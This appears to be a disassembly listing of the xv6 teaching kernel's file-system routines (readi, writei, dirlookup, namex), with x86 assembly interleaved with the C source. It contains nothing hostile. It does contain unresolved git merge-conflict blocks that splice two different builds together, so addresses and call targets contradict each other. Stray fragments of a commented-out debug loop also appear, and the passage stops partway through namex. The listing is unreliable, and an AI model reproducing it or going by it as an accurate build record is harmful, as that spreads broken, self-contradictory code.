//PAGEBREAK!
// Read data from inode.
int
readi(struct inode *ip, char *dst, uint off, uint n)
{
8010195d: 89 45 e4 mov %eax,-0x1c(%ebp)
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101960: 0f 84 aa 00 00 00 je 80101a10 <readi+0xd0>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
return -1;
return devsw[ip->major].read(ip, dst, n);
}
if(off > ip->size || off + n < off)
80101966: 8b 47 58 mov 0x58(%edi),%eax
80101969: 39 f0 cmp %esi,%eax
8010196b: 0f 82 c7 00 00 00 jb 80101a38 <readi+0xf8>
80101971: 8b 5d e4 mov -0x1c(%ebp),%ebx
80101974: 89 da mov %ebx,%edx
80101976: 01 f2 add %esi,%edx
80101978: 0f 82 ba 00 00 00 jb 80101a38 <readi+0xf8>
return -1;
if(off + n > ip->size)
n = ip->size - off;
8010197e: 89 c1 mov %eax,%ecx
80101980: 29 f1 sub %esi,%ecx
80101982: 39 d0 cmp %edx,%eax
80101984: 0f 43 cb cmovae %ebx,%ecx
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101987: 31 c0 xor %eax,%eax
80101989: 85 c9 test %ecx,%ecx
}
if(off > ip->size || off + n < off)
return -1;
if(off + n > ip->size)
n = ip->size - off;
8010198b: 89 4d e4 mov %ecx,-0x1c(%ebp)
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
8010198e: 74 70 je 80101a00 <readi+0xc0>
80101990: 89 7d d8 mov %edi,-0x28(%ebp)
80101993: 89 c7 mov %eax,%edi
80101995: 8d 76 00 lea 0x0(%esi),%esi
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101998: 8b 5d d8 mov -0x28(%ebp),%ebx
8010199b: 89 f2 mov %esi,%edx
8010199d: c1 ea 09 shr $0x9,%edx
801019a0: 89 d8 mov %ebx,%eax
801019a2: e8 29 f9 ff ff call 801012d0 <bmap>
801019a7: 89 44 24 04 mov %eax,0x4(%esp)
801019ab: 8b 03 mov (%ebx),%eax
m = min(n - tot, BSIZE - off%BSIZE);
801019ad: bb 00 02 00 00 mov $0x200,%ebx
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
801019b2: 89 04 24 mov %eax,(%esp)
801019b5: e8 16 e7 ff ff call 801000d0 <bread>
m = min(n - tot, BSIZE - off%BSIZE);
801019ba: 8b 4d e4 mov -0x1c(%ebp),%ecx
801019bd: 29 f9 sub %edi,%ecx
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
801019bf: 89 c2 mov %eax,%edx
m = min(n - tot, BSIZE - off%BSIZE);
801019c1: 89 f0 mov %esi,%eax
801019c3: 25 ff 01 00 00 and $0x1ff,%eax
801019c8: 29 c3 sub %eax,%ebx
for (int j = 0; j < min(m, 10); j++) {
cprintf("%x ", bp->data[off%BSIZE+j]);
}
cprintf("\n");
*/
memmove(dst, bp->data + off%BSIZE, m);
801019ca: 8d 44 02 5c lea 0x5c(%edx,%eax,1),%eax
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
m = min(n - tot, BSIZE - off%BSIZE);
801019ce: 39 cb cmp %ecx,%ebx
for (int j = 0; j < min(m, 10); j++) {
cprintf("%x ", bp->data[off%BSIZE+j]);
}
cprintf("\n");
*/
memmove(dst, bp->data + off%BSIZE, m);
801019d0: 89 44 24 04 mov %eax,0x4(%esp)
801019d4: 8b 45 e0 mov -0x20(%ebp),%eax
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
m = min(n - tot, BSIZE - off%BSIZE);
801019d7: 0f 47 d9 cmova %ecx,%ebx
for (int j = 0; j < min(m, 10); j++) {
cprintf("%x ", bp->data[off%BSIZE+j]);
}
cprintf("\n");
*/
memmove(dst, bp->data + off%BSIZE, m);
801019da: 89 5c 24 08 mov %ebx,0x8(%esp)
if(off > ip->size || off + n < off)
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
801019de: 01 df add %ebx,%edi
801019e0: 01 de add %ebx,%esi
for (int j = 0; j < min(m, 10); j++) {
cprintf("%x ", bp->data[off%BSIZE+j]);
}
cprintf("\n");
*/
memmove(dst, bp->data + off%BSIZE, m);
<<<<<<< HEAD
801019b4: 50 push %eax
801019b5: ff 75 e0 pushl -0x20(%ebp)
801019b8: e8 33 2e 00 00 call 801047f0 <memmove>
=======
801019e2: 89 55 dc mov %edx,-0x24(%ebp)
801019e5: 89 04 24 mov %eax,(%esp)
801019e8: e8 b3 2b 00 00 call 801045a0 <memmove>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
brelse(bp);
801019ed: 8b 55 dc mov -0x24(%ebp),%edx
801019f0: 89 14 24 mov %edx,(%esp)
801019f3: e8 e8 e7 ff ff call 801001e0 <brelse>
if(off > ip->size || off + n < off)
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
801019f8: 01 5d e0 add %ebx,-0x20(%ebp)
801019fb: 39 7d e4 cmp %edi,-0x1c(%ebp)
801019fe: 77 98 ja 80101998 <readi+0x58>
cprintf("\n");
*/
memmove(dst, bp->data + off%BSIZE, m);
brelse(bp);
}
return n;
80101a00: 8b 45 e4 mov -0x1c(%ebp),%eax
}
80101a03: 83 c4 2c add $0x2c,%esp
80101a06: 5b pop %ebx
80101a07: 5e pop %esi
80101a08: 5f pop %edi
80101a09: 5d pop %ebp
80101a0a: c3 ret
80101a0b: 90 nop
80101a0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
{
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
80101a10: 0f bf 47 52 movswl 0x52(%edi),%eax
80101a14: 66 83 f8 09 cmp $0x9,%ax
80101a18: 77 1e ja 80101a38 <readi+0xf8>
80101a1a: 8b 04 c5 80 09 11 80 mov -0x7feef680(,%eax,8),%eax
80101a21: 85 c0 test %eax,%eax
80101a23: 74 13 je 80101a38 <readi+0xf8>
return -1;
return devsw[ip->major].read(ip, dst, n);
80101a25: 8b 75 e4 mov -0x1c(%ebp),%esi
80101a28: 89 75 10 mov %esi,0x10(%ebp)
*/
memmove(dst, bp->data + off%BSIZE, m);
brelse(bp);
}
return n;
}
80101a2b: 83 c4 2c add $0x2c,%esp
80101a2e: 5b pop %ebx
80101a2f: 5e pop %esi
80101a30: 5f pop %edi
80101a31: 5d pop %ebp
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
return -1;
return devsw[ip->major].read(ip, dst, n);
80101a32: ff e0 jmp *%eax
80101a34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
return -1;
80101a38: b8 ff ff ff ff mov $0xffffffff,%eax
80101a3d: eb c4 jmp 80101a03 <readi+0xc3>
80101a3f: 90 nop
80101a40 <writei>:
// PAGEBREAK!
// Write data to inode.
int
writei(struct inode *ip, char *src, uint off, uint n)
{
80101a40: 55 push %ebp
80101a41: 89 e5 mov %esp,%ebp
80101a43: 57 push %edi
80101a44: 56 push %esi
80101a45: 53 push %ebx
80101a46: 83 ec 2c sub $0x2c,%esp
80101a49: 8b 45 08 mov 0x8(%ebp),%eax
80101a4c: 8b 75 0c mov 0xc(%ebp),%esi
80101a4f: 8b 4d 14 mov 0x14(%ebp),%ecx
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101a52: 66 83 78 50 03 cmpw $0x3,0x50(%eax)
// PAGEBREAK!
// Write data to inode.
int
writei(struct inode *ip, char *src, uint off, uint n)
{
80101a57: 89 75 dc mov %esi,-0x24(%ebp)
80101a5a: 8b 75 10 mov 0x10(%ebp),%esi
80101a5d: 89 45 d8 mov %eax,-0x28(%ebp)
80101a60: 89 4d e0 mov %ecx,-0x20(%ebp)
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101a63: 0f 84 b7 00 00 00 je 80101b20 <writei+0xe0>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
return -1;
return devsw[ip->major].write(ip, src, n);
}
if(off > ip->size || off + n < off)
80101a69: 8b 45 d8 mov -0x28(%ebp),%eax
80101a6c: 39 70 58 cmp %esi,0x58(%eax)
80101a6f: 0f 82 e3 00 00 00 jb 80101b58 <writei+0x118>
80101a75: 8b 4d e0 mov -0x20(%ebp),%ecx
80101a78: 89 c8 mov %ecx,%eax
80101a7a: 01 f0 add %esi,%eax
80101a7c: 0f 82 d6 00 00 00 jb 80101b58 <writei+0x118>
return -1;
if(off + n > MAXFILE*BSIZE)
80101a82: 3d 00 18 01 00 cmp $0x11800,%eax
80101a87: 0f 87 cb 00 00 00 ja 80101b58 <writei+0x118>
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101a8d: 85 c9 test %ecx,%ecx
80101a8f: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
80101a96: 74 77 je 80101b0f <writei+0xcf>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101a98: 8b 7d d8 mov -0x28(%ebp),%edi
80101a9b: 89 f2 mov %esi,%edx
m = min(n - tot, BSIZE - off%BSIZE);
80101a9d: bb 00 02 00 00 mov $0x200,%ebx
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101aa2: c1 ea 09 shr $0x9,%edx
80101aa5: 89 f8 mov %edi,%eax
80101aa7: e8 24 f8 ff ff call 801012d0 <bmap>
80101aac: 89 44 24 04 mov %eax,0x4(%esp)
80101ab0: 8b 07 mov (%edi),%eax
80101ab2: 89 04 24 mov %eax,(%esp)
80101ab5: e8 16 e6 ff ff call 801000d0 <bread>
m = min(n - tot, BSIZE - off%BSIZE);
80101aba: 8b 4d e0 mov -0x20(%ebp),%ecx
80101abd: 2b 4d e4 sub -0x1c(%ebp),%ecx
memmove(bp->data + off%BSIZE, src, m);
80101ac0: 8b 55 dc mov -0x24(%ebp),%edx
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101ac3: 89 c7 mov %eax,%edi
m = min(n - tot, BSIZE - off%BSIZE);
80101ac5: 89 f0 mov %esi,%eax
80101ac7: 25 ff 01 00 00 and $0x1ff,%eax
80101acc: 29 c3 sub %eax,%ebx
80101ace: 39 cb cmp %ecx,%ebx
80101ad0: 0f 47 d9 cmova %ecx,%ebx
memmove(bp->data + off%BSIZE, src, m);
80101ad3: 8d 44 07 5c lea 0x5c(%edi,%eax,1),%eax
if(off > ip->size || off + n < off)
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101ad7: 01 de add %ebx,%esi
bp = bread(ip->dev, bmap(ip, off/BSIZE));
m = min(n - tot, BSIZE - off%BSIZE);
memmove(bp->data + off%BSIZE, src, m);
<<<<<<< HEAD
80101ab3: 50 push %eax
80101ab4: e8 37 2d 00 00 call 801047f0 <memmove>
=======
80101ad9: 89 54 24 04 mov %edx,0x4(%esp)
80101add: 89 5c 24 08 mov %ebx,0x8(%esp)
80101ae1: 89 04 24 mov %eax,(%esp)
80101ae4: e8 b7 2a 00 00 call 801045a0 <memmove>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
log_write(bp);
80101ae9: 89 3c 24 mov %edi,(%esp)
80101aec: e8 2f 12 00 00 call 80102d20 <log_write>
brelse(bp);
80101af1: 89 3c 24 mov %edi,(%esp)
80101af4: e8 e7 e6 ff ff call 801001e0 <brelse>
if(off > ip->size || off + n < off)
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101af9: 01 5d e4 add %ebx,-0x1c(%ebp)
80101afc: 8b 45 e4 mov -0x1c(%ebp),%eax
80101aff: 01 5d dc add %ebx,-0x24(%ebp)
80101b02: 39 45 e0 cmp %eax,-0x20(%ebp)
80101b05: 77 91 ja 80101a98 <writei+0x58>
memmove(bp->data + off%BSIZE, src, m);
log_write(bp);
brelse(bp);
}
if(n > 0 && off > ip->size){
80101b07: 8b 45 d8 mov -0x28(%ebp),%eax
80101b0a: 39 70 58 cmp %esi,0x58(%eax)
80101b0d: 72 39 jb 80101b48 <writei+0x108>
ip->size = off;
iupdate(ip);
}
return n;
80101b0f: 8b 45 e0 mov -0x20(%ebp),%eax
}
80101b12: 83 c4 2c add $0x2c,%esp
80101b15: 5b pop %ebx
80101b16: 5e pop %esi
80101b17: 5f pop %edi
80101b18: 5d pop %ebp
80101b19: c3 ret
80101b1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
{
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
80101b20: 0f bf 40 52 movswl 0x52(%eax),%eax
80101b24: 66 83 f8 09 cmp $0x9,%ax
80101b28: 77 2e ja 80101b58 <writei+0x118>
80101b2a: 8b 04 c5 84 09 11 80 mov -0x7feef67c(,%eax,8),%eax
80101b31: 85 c0 test %eax,%eax
80101b33: 74 23 je 80101b58 <writei+0x118>
return -1;
return devsw[ip->major].write(ip, src, n);
80101b35: 89 4d 10 mov %ecx,0x10(%ebp)
if(n > 0 && off > ip->size){
ip->size = off;
iupdate(ip);
}
return n;
}
80101b38: 83 c4 2c add $0x2c,%esp
80101b3b: 5b pop %ebx
80101b3c: 5e pop %esi
80101b3d: 5f pop %edi
80101b3e: 5d pop %ebp
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
return -1;
return devsw[ip->major].write(ip, src, n);
80101b3f: ff e0 jmp *%eax
80101b41: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
log_write(bp);
brelse(bp);
}
if(n > 0 && off > ip->size){
ip->size = off;
80101b48: 8b 45 d8 mov -0x28(%ebp),%eax
80101b4b: 89 70 58 mov %esi,0x58(%eax)
iupdate(ip);
80101b4e: 89 04 24 mov %eax,(%esp)
80101b51: e8 9a fa ff ff call 801015f0 <iupdate>
80101b56: eb b7 jmp 80101b0f <writei+0xcf>
}
return n;
}
80101b58: 83 c4 2c add $0x2c,%esp
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
return -1;
80101b5b: b8 ff ff ff ff mov $0xffffffff,%eax
if(n > 0 && off > ip->size){
ip->size = off;
iupdate(ip);
}
return n;
}
80101b60: 5b pop %ebx
80101b61: 5e pop %esi
80101b62: 5f pop %edi
80101b63: 5d pop %ebp
80101b64: c3 ret
80101b65: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101b69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101b70 <namecmp>:
//PAGEBREAK!
// Directories
int
namecmp(const char *s, const char *t)
{
80101b70: 55 push %ebp
80101b71: 89 e5 mov %esp,%ebp
80101b73: 83 ec 18 sub $0x18,%esp
return strncmp(s, t, DIRSIZ);
<<<<<<< HEAD
80101b46: 6a 0e push $0xe
80101b48: ff 75 0c pushl 0xc(%ebp)
80101b4b: ff 75 08 pushl 0x8(%ebp)
80101b4e: e8 1d 2d 00 00 call 80104870 <strncmp>
=======
80101b76: 8b 45 0c mov 0xc(%ebp),%eax
80101b79: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101b80: 00
80101b81: 89 44 24 04 mov %eax,0x4(%esp)
80101b85: 8b 45 08 mov 0x8(%ebp),%eax
80101b88: 89 04 24 mov %eax,(%esp)
80101b8b: e8 90 2a 00 00 call 80104620 <strncmp>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
80101b90: c9 leave
80101b91: c3 ret
80101b92: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101b99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101ba0 <dirlookup>:
// Look for a directory entry in a directory.
// If found, set *poff to byte offset of entry.
struct inode*
dirlookup(struct inode *dp, char *name, uint *poff)
{
80101ba0: 55 push %ebp
80101ba1: 89 e5 mov %esp,%ebp
80101ba3: 57 push %edi
80101ba4: 56 push %esi
80101ba5: 53 push %ebx
80101ba6: 83 ec 2c sub $0x2c,%esp
80101ba9: 8b 5d 08 mov 0x8(%ebp),%ebx
uint off, inum;
struct dirent de;
if(dp->type != T_DIR)
80101bac: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80101bb1: 0f 85 97 00 00 00 jne 80101c4e <dirlookup+0xae>
panic("dirlookup not DIR");
for(off = 0; off < dp->size; off += sizeof(de)){
80101bb7: 8b 53 58 mov 0x58(%ebx),%edx
80101bba: 31 ff xor %edi,%edi
80101bbc: 8d 75 d8 lea -0x28(%ebp),%esi
80101bbf: 85 d2 test %edx,%edx
80101bc1: 75 0d jne 80101bd0 <dirlookup+0x30>
80101bc3: eb 73 jmp 80101c38 <dirlookup+0x98>
80101bc5: 8d 76 00 lea 0x0(%esi),%esi
80101bc8: 83 c7 10 add $0x10,%edi
80101bcb: 39 7b 58 cmp %edi,0x58(%ebx)
80101bce: 76 68 jbe 80101c38 <dirlookup+0x98>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101bd0: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80101bd7: 00
80101bd8: 89 7c 24 08 mov %edi,0x8(%esp)
80101bdc: 89 74 24 04 mov %esi,0x4(%esp)
80101be0: 89 1c 24 mov %ebx,(%esp)
80101be3: e8 58 fd ff ff call 80101940 <readi>
80101be8: 83 f8 10 cmp $0x10,%eax
80101beb: 75 55 jne 80101c42 <dirlookup+0xa2>
panic("dirlink read");
if(de.inum == 0)
80101bed: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80101bf2: 74 d4 je 80101bc8 <dirlookup+0x28>
// Directories
int
namecmp(const char *s, const char *t)
{
return strncmp(s, t, DIRSIZ);
<<<<<<< HEAD
80101ba9: 8d 45 da lea -0x26(%ebp),%eax
80101bac: 83 ec 04 sub $0x4,%esp
80101baf: 6a 0e push $0xe
80101bb1: 50 push %eax
80101bb2: ff 75 0c pushl 0xc(%ebp)
80101bb5: e8 b6 2c 00 00 call 80104870 <strncmp>
=======
80101bf4: 8d 45 da lea -0x26(%ebp),%eax
80101bf7: 89 44 24 04 mov %eax,0x4(%esp)
80101bfb: 8b 45 0c mov 0xc(%ebp),%eax
80101bfe: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101c05: 00
80101c06: 89 04 24 mov %eax,(%esp)
80101c09: e8 12 2a 00 00 call 80104620 <strncmp>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
for(off = 0; off < dp->size; off += sizeof(de)){
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("dirlink read");
if(de.inum == 0)
continue;
if(namecmp(name, de.name) == 0){
80101c0e: 85 c0 test %eax,%eax
80101c10: 75 b6 jne 80101bc8 <dirlookup+0x28>
// entry matches path element
if(poff)
80101c12: 8b 45 10 mov 0x10(%ebp),%eax
80101c15: 85 c0 test %eax,%eax
80101c17: 74 05 je 80101c1e <dirlookup+0x7e>
*poff = off;
80101c19: 8b 45 10 mov 0x10(%ebp),%eax
80101c1c: 89 38 mov %edi,(%eax)
inum = de.inum;
80101c1e: 0f b7 55 d8 movzwl -0x28(%ebp),%edx
return iget(dp->dev, inum);
80101c22: 8b 03 mov (%ebx),%eax
80101c24: e8 e7 f5 ff ff call 80101210 <iget>
}
}
return 0;
}
80101c29: 83 c4 2c add $0x2c,%esp
80101c2c: 5b pop %ebx
80101c2d: 5e pop %esi
80101c2e: 5f pop %edi
80101c2f: 5d pop %ebp
80101c30: c3 ret
80101c31: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101c38: 83 c4 2c add $0x2c,%esp
inum = de.inum;
return iget(dp->dev, inum);
}
}
return 0;
80101c3b: 31 c0 xor %eax,%eax
}
80101c3d: 5b pop %ebx
80101c3e: 5e pop %esi
80101c3f: 5f pop %edi
80101c40: 5d pop %ebp
80101c41: c3 ret
if(dp->type != T_DIR)
panic("dirlookup not DIR");
for(off = 0; off < dp->size; off += sizeof(de)){
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("dirlink read");
<<<<<<< HEAD
80101bea: 83 ec 0c sub $0xc,%esp
80101bed: 68 95 74 10 80 push $0x80107495
80101bf2: e8 79 e7 ff ff call 80100370 <panic>
=======
80101c42: c7 04 24 15 72 10 80 movl $0x80107215,(%esp)
80101c49: e8 12 e7 ff ff call 80100360 <panic>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
uint off, inum;
struct dirent de;
if(dp->type != T_DIR)
panic("dirlookup not DIR");
<<<<<<< HEAD
80101bf7: 83 ec 0c sub $0xc,%esp
80101bfa: 68 83 74 10 80 push $0x80107483
80101bff: e8 6c e7 ff ff call 80100370 <panic>
80101c04: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80101c0a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
=======
80101c4e: c7 04 24 03 72 10 80 movl $0x80107203,(%esp)
80101c55: e8 06 e7 ff ff call 80100360 <panic>
80101c5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
80101c60 <namex>:
// If parent != 0, return the inode for the parent and copy the final
// path element into name, which must have room for DIRSIZ bytes.
// Must be called inside a transaction since it calls iput().
static struct inode*
namex(char *path, int nameiparent, char *name)
{
80101c60: 55 push %ebp
80101c61: 89 e5 mov %esp,%ebp
80101c63: 57 push %edi
80101c64: 89 cf mov %ecx,%edi
80101c66: 56 push %esi
80101c67: 53 push %ebx
80101c68: 89 c3 mov %eax,%ebx
80101c6a: 83 ec 2c sub $0x2c,%esp
struct inode *ip, *next;
if(*path == '/')
80101c6d: 80 38 2f cmpb $0x2f,(%eax)
// If parent != 0, return the inode for the parent and copy the final
// path element into name, which must have room for DIRSIZ bytes.
// Must be called inside a transaction since it calls iput().
static struct inode*
namex(char *path, int nameiparent, char *name)
{
80101c70: 89 55 e0 mov %edx,-0x20(%ebp)
struct inode *ip, *next;
if(*path == '/')
80101c73: 0f 84 51 01 00 00 je 80101dca <namex+0x16a>
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(proc->cwd);
80101c79: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80101c7f: 8b 70 68 mov 0x68(%eax),%esi
// Increment reference count for ip.
// Returns ip to enable ip = idup(ip1) idiom.
struct inode*
idup(struct inode *ip)
{
acquire(&icache.lock);
<<<<<<< HEAD
80101c35: 68 00 0a 11 80 push $0x80110a00
80101c3a: e8 d1 28 00 00 call 80104510 <acquire>
=======
80101c82: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
80101c89: e8 f2 26 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
ip->ref++;
80101c8e: 83 46 08 01 addl $0x1,0x8(%esi)
release(&icache.lock);
<<<<<<< HEAD
80101c43: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
80101c4a: e8 a1 2a 00 00 call 801046f0 <release>
80101c4f: 83 c4 10 add $0x10,%esp
80101c52: eb 07 jmp 80101c5b <namex+0x4b>
80101c54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
80101c92: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
80101c99: e8 12 28 00 00 call 801044b0 <release>
80101c9e: eb 03 jmp 80101ca3 <namex+0x43>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
char *s;
int len;
while(*path == '/')
path++;
80101ca0: 83 c3 01 add $0x1,%ebx
skipelem(char *path, char *name)
{
char *s;
int len;
while(*path == '/')
80101ca3: 0f b6 03 movzbl (%ebx),%eax
80101ca6: 3c 2f cmp $0x2f,%al
80101ca8: 74 f6 je 80101ca0 <namex+0x40>
path++;
if(*path == 0)
80101caa: 84 c0 test %al,%al
80101cac: 0f 84 ed 00 00 00 je 80101d9f <namex+0x13f>
return 0;
s = path;
while(*path != '/' && *path != 0)
80101cb2: 0f b6 03 movzbl (%ebx),%eax
80101cb5: 89 da mov %ebx,%edx
80101cb7: 84 c0 test %al,%al
80101cb9: 0f 84 b1 00 00 00 je 80101d70 <namex+0x110>
80101cbf: 3c 2f cmp $0x2f,%al
80101cc1: 75 0f jne 80101cd2 <namex+0x72>
80101cc3: e9 a8 00 00 00 jmp 80101d70 <namex+0x110>
80101cc8: 3c 2f cmp $0x2f,%al
80101cca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80101cd0: 74 0a je 80101cdc <namex+0x7c>
path++;
80101cd2: 83 c2 01 add $0x1,%edx
while(*path == '/')
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
<<<<<<< HEAD
80101c87: 0f b6 02 movzbl (%edx),%eax
80101c8a: 3c 2f cmp $0x2f,%al
80101c8c: 75 f2 jne 80101c80 <namex+0x70>
80101c8e: 89 d1 mov %edx,%ecx
80101c90: 29 d9 sub %ebx,%ecx
path++;
len = path - s;
if(len >= DIRSIZ)
80101c92: 83 f9 0d cmp $0xd,%ecx
80101c95: 0f 8e 8d 00 00 00 jle 80101d28 <namex+0x118>
memmove(name, s, DIRSIZ);
80101c9b: 83 ec 04 sub $0x4,%esp
80101c9e: 89 55 e4 mov %edx,-0x1c(%ebp)
80101ca1: 6a 0e push $0xe
80101ca3: 53 push %ebx
80101ca4: 57 push %edi
80101ca5: e8 46 2b 00 00 call 801047f0 <memmove>
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
=======
80101cd5: 0f b6 02 movzbl (%edx),%eax
80101cd8: 84 c0 test %al,%al
80101cda: 75 ec jne 80101cc8 <namex+0x68>
80101cdc: 89 d1 mov %edx,%ecx
80101cde: 29 d9 sub %ebx,%ecx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
path++;
len = path - s;
if(len >= DIRSIZ)
80101ce0: 83 f9 0d cmp $0xd,%ecx
80101ce3: 0f 8e 8f 00 00 00 jle 80101d78 <namex+0x118>
memmove(name, s, DIRSIZ);
80101ce9: 89 5c 24 04 mov %ebx,0x4(%esp)
80101ced: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101cf4: 00
80101cf5: 89 3c 24 mov %edi,(%esp)
80101cf8: 89 55 e4 mov %edx,-0x1c(%ebp)
80101cfb: e8 a0 28 00 00 call 801045a0 <memmove>
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
path++;
80101d00: 8b 55 e4 mov -0x1c(%ebp),%edx
80101d03: 89 d3 mov %edx,%ebx
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
name[len] = 0;
}
while(*path == '/')
80101d05: 80 3a 2f cmpb $0x2f,(%edx)
80101d08: 75 0e jne 80101d18 <namex+0xb8>
80101d0a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
path++;
80101d10: 83 c3 01 add $0x1,%ebx
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
name[len] = 0;
}
while(*path == '/')
80101d13: 80 3b 2f cmpb $0x2f,(%ebx)
80101d16: 74 f8 je 80101d10 <namex+0xb0>
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(proc->cwd);
while((path = skipelem(path, name)) != 0){
ilock(ip);
80101d18: 89 34 24 mov %esi,(%esp)
80101d1b: e8 90 f9 ff ff call 801016b0 <ilock>
if(ip->type != T_DIR){
80101d20: 66 83 7e 50 01 cmpw $0x1,0x50(%esi)
80101d25: 0f 85 85 00 00 00 jne 80101db0 <namex+0x150>
iunlockput(ip);
return 0;
}
if(nameiparent && *path == '\0'){
80101d2b: 8b 55 e0 mov -0x20(%ebp),%edx
80101d2e: 85 d2 test %edx,%edx
80101d30: 74 09 je 80101d3b <namex+0xdb>
80101d32: 80 3b 00 cmpb $0x0,(%ebx)
80101d35: 0f 84 a5 00 00 00 je 80101de0 <namex+0x180>
// Stop one level early.
iunlock(ip);
return ip;
}
if((next = dirlookup(ip, name, 0)) == 0){
80101d3b: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80101d42: 00
80101d43: 89 7c 24 04 mov %edi,0x4(%esp)
80101d47: 89 34 24 mov %esi,(%esp)
80101d4a: e8 51 fe ff ff call 80101ba0 <dirlookup>
80101d4f: 85 c0 test %eax,%eax
80101d51: 74 5d je 80101db0 <namex+0x150>
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
iunlock(ip);
80101d53: 89 34 24 mov %esi,(%esp)
80101d56: 89 45 e4 mov %eax,-0x1c(%ebp)
80101d59: e8 22 fa ff ff call 80101780 <iunlock>
iput(ip);
80101d5e: 89 34 24 mov %esi,(%esp)
80101d61: e8 5a fa ff ff call 801017c0 <iput>
if((next = dirlookup(ip, name, 0)) == 0){
